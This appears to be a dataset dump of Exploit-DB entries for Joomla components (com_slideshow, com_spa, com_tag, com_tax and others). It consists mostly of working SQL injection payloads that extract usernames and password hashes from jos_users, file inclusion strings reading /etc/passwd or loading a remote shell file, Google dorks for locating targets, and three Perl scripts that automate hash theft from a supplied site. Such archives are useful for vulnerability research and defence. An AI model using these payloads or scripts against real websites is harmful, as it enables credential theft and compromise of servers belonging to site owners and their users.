deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4440
Description: Joomla! Component com_slideshow - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-09-21
Author: ShockShadow

Exploit:
--==+=================== Electronic Security Team (www.Yee7.com) ====================+==--
--==+         Joomla Component Flash Slide Show (admin.slideshow1.php) - RFI         +==--
--==+================================================================================+==--

Script Name:  Joomla Component Flash Slide Show Image Gallery
exploit:      Remote File Inclusion [High Risk]
Author:       ShockShadow - Electronic Security Team (www.Yee7.com)
Home:         www.Yee7.com
Download:     http://www.joomlahacks.com/component/option,com_remository/Itemid,41/func,download/id,491/chk,cb182dd5ecd024f36f7a8fa98dd8935e/
             http://www.box.net/shared/6xeh4doczd
Search Key:   inurl:/com_slideshow/

##############################

Line 3 of admin.slideshow1.php
>    include( "$mosConfig_live_site/components/com_slideshow1/about.html" );
==============

eXploit: http://domain.com/Joomla_Path/components/com_slideshow/admin.slideshow1.php?mosConfig_live_site=http://shell.txt

###############################
by: ShockShadow
GrEEtZ t0:
Mr.HaCkEr, Mr-m07, Al-Shikh, ThE WhitE WolF, HuRrIcAnE, S0m.Ph, KEENEST, HamzaBX1, Alakrb Almoftres, Falcon Hammdan, RoMaNcYxHaCkEr
Medo Hacker, rUn-vIrUs, Dr.eXe, zAx
AND ALL FRIENDS

# milw0rm.com [2007-09-21]
Exploit-DB #17530
Description: Joomla! Component com_sobi2 2.9.3.2 - Blind SQL Injections
Type: webapps
Platform: php
Date: 2011-07-14
Author: jdc

Exploit:
# Exploit Title: SOBI2 2.9.3.2 Joomla! Component Blind SQL Injections
# Date: 13 July 2011
# Author: jdc
# Software Link: http://www.sigsiu.net
# Version: 2.9.3.2
# Fixed In: 2.9.4
# Verified: http://www.sigsiu.net/changelog as "# Bugfix: Blind SQL injection"

Versions prior to 2.9.4 suffer from a blind sql injection in both the "tag" and "letter" parameters. The request MUST reach the site with these parameters urlencoded for the injection to succeed.

POSTDATA: option=com_sobi2&tmpl=component&tag=[Encoded SQL]

POSTDATA: option=com_sobi2&tmpl=component&letter=[Encoded SQL]

Updated release: http://www.sigsiu.net/latest_news/sobi2_version_2.9.4_released.html
Exploit-DB #11868
Description: Joomla! Component com_software - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-24
Author: DevilZ TM

Exploit:
# Title : Joomla Component com_software SQL Injection Vulnerability
# Author: DevilZ TM
# Data  : 2010-03-24

[~]######################################### InformatioN #############################################[~]

[~] Title     : Joomla Component com_software SQL Injection Vulnerability
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.Com
[~] Contact   : D3v1l.blackhat@yahoo.com

[~]#########################################   ExploiT   #############################################[~]

[~] Vulnerable File :

http://127.0.0.1/index.php?option=com_software&task=viewDetail&software_id=[SQL]

[~] ExploiT         :

-1+UNION+SELECT+1--

[~] Example         :

http://127.0.0.1/index.php?option=com_software&task=viewDetail&software_id=-1+UNION+SELECT+1--

[~]######################################### ThankS To ... ############################################[~]

[~] Special Thanks To My Best FriendS :

Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS

[~] IRANIAN Young HackerZ

[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #11908
Description: Joomla! Component com_solution - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-27
Author: DevilZ TM

Exploit:
# Title : Joomla Component com_solution SQL Injection Vulnerability
# Author: DevilZ TM
# Data  : 2010-03-27

[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_solution SQL Injection Vulnerability
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.Com
[~] Contact   : D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_solution&Itemid=5&task=contry&con=[SQL]
 
[~] ExploiT         :
 
-1+UNION+SELECT+1,2,3,4,5,6,7,8--
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_solution&Itemid=5&task=contry&con=-1+UNION+SELECT+1,2,3,4,5,6,7,8--

  
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #36596
Description: Joomla! Component com_some - 'Controller' Local File Inclusion
Type: webapps
Platform: php
Date: 2012-01-21
Author: the_cyber_nuxbie

Exploit:
source: https://www.securityfocus.com/bid/51621/info

The 'com_some' component for Joomla! is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. 

http://www.example.com/index.php?option=com_some&controller=../../../../../../../../../../../../../etc/passwd%00
Exploit-DB #14423
Description: Joomla! Component com_spa - SQL Injection (1)
Type: webapps
Platform: php
Date: 2010-07-20
Author: ALTBTA

Exploit:
====================================================
Joomla Component com_spa SQL Injection Vulnerability
====================================================

Author :   altbta
Email  : [l_9[at]hotmail[dot]com]
Homepage : { www.xp10.com/xp10 }
DORK    :  inurl:"index.php?option=com_spa"
===================================================

[+] Vulnerable File :
http://www.site.com/index.php?option=com_spa&view=spa_read_more&pid=[SQL]

[+] ExploiT :
-35 UNION SELECT 1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13
from jos_users--

[+] Example :
http://www.site.com/index.php?option=com_spa&view=spa_read_more&pid=-35UNION
SELECT 1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13 from
jos_users--

[+] Demo :
http://www.site.com/index.php?option=com_spa&view=spa_read_more&pid=-35%20UNION%20SELECT%201,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13%20from%20jos_users--
Exploit-DB #14394
Description: Joomla! Component com_spa - SQL Injection (2)
Type: webapps
Platform: php
Date: 2010-07-17
Author: Palyo34 & KroNicKq

Exploit:
===================================================
Joomla Component (com_spa) SQL Injection Vulnerability
===================================================

Author :   Palyo34 & KroNicKq 

Homepage : http://www.1923turk.com

===================================================


[+] Vulnerable File :


http://www.site.com/index.php?option=com_spa&view=spa_product&cid=[SQL]


[+] ExploiT :

-1+union+select concat(username,0x3a,password)+from+jos_users


[+] Example :

http://www.site.com/index.php?option=com_spa&view=spa_product&cid=-1+union+select concat(username,0x3a,password)+from+jos_users


[+] Demo :

http://www.site.com/index.php?option=com_spa&view=spa_product&cid=-20+union+select+concat(username,0x3a,password)+from+jos_users


===================================================
I Lowe You Joomla :))
===================================================

Greetz : 1923Turk All Users
Exploit-DB #34684
Description: Joomla! Component com_spain - 'nv' SQL Injection
Type: webapps
Platform: php
Date: 2010-09-20
Author: FL0RiX

Exploit:
source: https://www.securityfocus.com/bid/43354/info

The Spain component for Joomla is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.


#!/usr/bin/perl -w
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t| Fl0rix | Bug Researchers (c) 2010 |\n\n";
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t|Joomla Com_Spain Remote SQL Injection Exploit|\n\n";
print "\t\t| Greetz: EcHoLL,Sakkure And All My Friends |\n\n";
print "\t\t-------------------------------------------------------------\n\n";
 
use LWP::UserAgent;
 
print "\nSite ismi Target page:[http://wwww.site.com/path/]: ";
chomp(my $target=<STDIN>);
 
$florix="concat(username,0x3a,password)";
$sakkure="jos_users";
 
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
 
$host = $target . "/index.php?option=com_spain&view=descr&task=home&nv=1/**/AND/**/1=0+UNION+SELECT/**/1,".$florix.",3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from/**/".$sakkure.";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n\n";
print "# Tebrikler Bro Exploit Calisti! #\n\n";
}
else{print "\n[-] Malesef Bro Exploit Calismadi...\n";
}
Exploit-DB #11939
Description: Joomla! Component com_spec - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-29
Author: DevilZ TM

Exploit:
# Title : Joomla Component com_spec SQL Injection Vulnerability
# Author: DevilZ TM
# Data  : 2010-03-29

[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_spec SQL Injection Vulnerability
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.Com
[~] Contact   : D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_spec&view=spec&tmpl=component&pro_id=[SQL]
 
[~] ExploiT         :
 
-1+UNION+SELECT+1,2--
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_spec&view=spec&tmpl=component&pro_id=-1+UNION+SELECT+1,2--

[~] Demo            :

http://www.site.com/index.php?option=com_spec&view=spec&tmpl=component&pro_id=-1+UNION+SELECT+@@version,2--
  
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~] GreetZ : Exploit-DB TeaM

[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #14518
Description: Joomla! Component com_spielothek 1.6.9 - Multiple Blind SQL Injections
Type: webapps
Platform: php
Date: 2010-07-31
Author: Salvatore Fresta

Exploit:
Spielothek 1.6.9 Joomla Component Multiple Blind SQL Injection

 Name              Spielothek
 Vendor            http://www.spielban.de
 Versions Affected 1.6.9

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-07-31

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

This  component  allows  you  to  present  your  users a
highscore-enabled game-area.It is based on the all known
joomlaflashgames, but with more features and with better
scoring method. You  can create own categories for games
and  let  your  site-visitors  have fun,  so  they  will
return.


II. DESCRIPTION
_______________

Some parameters  are not properly sanitised before being
used in SQL queries.


III. ANALYSIS
_____________

Summary:

 A) Multiple Blind SQL Injection
 

A) Multiple Blind SQL Injection
_______________________________

Many  parameters  in  various  files such as battle.php,
scores.php  etc. are not properly sanitised before being
used in SQL queries.  Because  of the number of flaws, I
can't report the entire vulnerable code;  but  I can say
that  most  of the numeric fields have not been properly
checked.


IV. SAMPLE CODE
_______________

A) Multiple Blind SQL Injection

http://site/path/index.php?option=com_spielothek&task=savebattle&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK[PII_REDACTED],NULL),NULL)))

http://site/path/index.php?option=com_spielothek&view=battle&wtbattle=play&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK[PII_REDACTED],NULL),NULL)))

http://site/path/index.php?option=com_spielothek&view=battle&wtbattle=ddbdelete&dbtable=vS&loeschen[0]=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK[PII_REDACTED],NULL),NULL)))


V. FIX
______

No fix.
Exploit-DB #12149
Description: Joomla! Component com_spsnewsletter - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-11
Author: AntiSecurity

Exploit:
===================================================================================================================


  [o] Joomla Component spsNewsletter Local File Inclusion Vulnerability
 
       Software : com_spsnewsletter
       Vendor   : http://www.modernbridge.com/spsNewsletter/
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


===================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_spsnewsletter&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_spsnewsletter&controller=../../../../../../../../../../etc/passwd%00


===================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


===================================================================================================================


  [o] April 11 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #11696
Description: Joomla! Component com_start - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-12
Author: DevilZ TM

Exploit:
[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_start SQL Injection Vulnerability 
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Contact   : DevilZTM@Gmail.CoM & D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_start&task=main&mitID=[SQL]
 
[~] ExploiT         :
 
-1/**/UNION/**/SELECT/**/1,2,3,4/**/FROM/**/jos_users/*
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_start&task=main&mitID=-1/**/UNION/**/SELECT/**/1,2,3,4/**/FROM/**/jos_users/*

[~] Demo            :

http://server/index.php?option=com_start&task=main&mitID=-1/**/UNION/**/SELECT/**/1,concat(username,0x3a,password),3,4/**/FROM/**/jos_users/*
 
 
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #35026
Description: Joomla! Component com_storedirectory - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2010-11-30
Author: XroGuE

Exploit:
source: https://www.securityfocus.com/bid/45094/info

Joomla! Store Directory is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/index.php?option=com_storedirectory&task=view&id=[SQLi]
Exploit-DB #37443
Description: Joomla! Component com_szallasok - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2012-06-21
Author: CoBRa_21

Exploit:
source: https://www.securityfocus.com/bid/54140/info

The 'com_szallasok' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_szallasok&mode=8&id=-25 union select 0,1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
Exploit-DB #22098
Description: Joomla! Component com_tag - 'tag' SQL Injection
Type: webapps
Platform: php
Date: 2012-10-19
Author: D4NB4R

Exploit:
 Exploit Title: Joomla tag Remote Sql Exploit

 dork: inurl:index.php?option=com_tag
 
 Date: [18-10-2012]
 
 Author: Daniel Barragan "D4NB4R"
 
 Twitter: @D4NB4R
 
 Vendor: http://www.joomlatags.org
 
 Version: all 
 
 License: Non-Commercial

 Download: http://www.joomlatags.org/joomla-tag/joomla-tag-download.html
  
 Tested on: [Linux(bt5)-Windows(7ultimate)]

 Especial greetz:  Pilot, _84kur10_, nav, dedalo, devboot, ksha, shine, p0fk, the_s41nt


Descripcion: 

N/A

Exploit: 


    #!/usr/bin/perl -w
    # Joomla Component (tag) Remote SQL Exploit
    #----------------------------------------------------------------------------#

    ########################################
    print "\t\t\n\n";
print "\t\n";
print "\t            Daniel Barragan  D4NB4R                \n";
print "\t                                                   \n";
print "\t      Joomla com_tag Remote Sql Exploit \n";
print "\t\n\n";

use LWP::UserAgent;
print "\nIngrese el Sitio:[http://wwww.site.com/path/]: ";

chomp(my $target=<STDIN>);

    #the username of  joomla
    $user="username";
    #the pasword of  joomla
    $pass="password";
    #the tables of joomla
    $table="jos_users";
    $d4n="com_tag&task";
    $component="tag&lang=es";
    
    $b = LWP::UserAgent->new() or die "Could not initialize browser\n";
    $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
    
    $host = $target ."index.php?option=".$d4n."=".$component."&tag=999999.9' union all select 1,concat(0x3c757365723e,".$user.",0x3c757365723e3c706173733e,".$pass.",0x3c706173733e)+from ".$table."--+a";
    $res = $b->request(HTTP::Request->new(GET=>$host));
    $answer = $res->content;
    
    if ($answer =~ /<user>(.*?)<user>/){
            print "\nLos Datos Extraidos son:\n";
      print "\n
     
* Admin User : $1";
     
    }
    
    if ($answer =~/<pass>(.*?)<pass>/){print "\n
     
* Admin Hash : $1\n\n";
     
    print "\t\t#   El Exploit aporto usuario y password   #\n\n";}
    else{print "\n[-] Exploit Failed, Intente manualmente...\n";}
   
    

_____________________________________________________
Daniel Barragan "D4NB4R" 2012
Exploit-DB #11915
Description: Joomla! Component com_tariff - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-28
Author: DevilZ TM

Exploit:
# Title : Joomla Component com_tariff SQL Injection Vulnerability
# Author: DevilZ TM
# Data  : 2010-03-28

[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_tariff SQL Injection Vulnerability
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.Com
[~] Contact   : D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_tariff&detail=[SQL]
 
[~] ExploiT         :
 
-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_tariff&detail=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11

  
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #34708
Description: Joomla! Component com_tax - 'eid' SQL Injection
Type: webapps
Platform: php
Date: 2010-09-23
Author: FL0RiX

Exploit:
source: https://www.securityfocus.com/bid/43461/info

The 'com_tax' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

#!/usr/bin/perl -w

########################################
#[~] Author : Fl0riX
#[!] Greetz: Sakkure And All My Friends
#[!] Script_Name: Joomla Com_tax
#[!] Exaple: >>> perl exploit.pl
             >>> http://site.com
########################################

print "\t\t                                                             \n\n";
print "\t\t| Fl0rix | Bug Researchers";
print "\t\t                                                             \n\n";
print "\t\t| Greetz: Sakkure And All My Friends";
print "\t\t                                                             \n\n";
print "\t\t|Joomla com_tax Remote SQL Inj. Exploit|\n\n";
print "\t\t                                                             \n\n";
use LWP::UserAgent;
print "\nSite ismi Target page:[http://wwww.site.com/path/]: ";
chomp(my $target=<STDIN>);
$florix="concat(username,0x3a,password)";
$sakkure="jos_users";
$un="+UNION+SELECT+";
$com="com_tax&task=fullevent";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "/index.php?option=".$com."&eid=null".$un."1,".$florix.",3,4,5,6+from+".$sakkure."+--+";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n\n";
print "# Baba Buyuksun bea Bu is bu kadar xD #\n\n";
}
else{print "\n[-] Malesef Olmadi Aga bir dahaki sefere\n";
}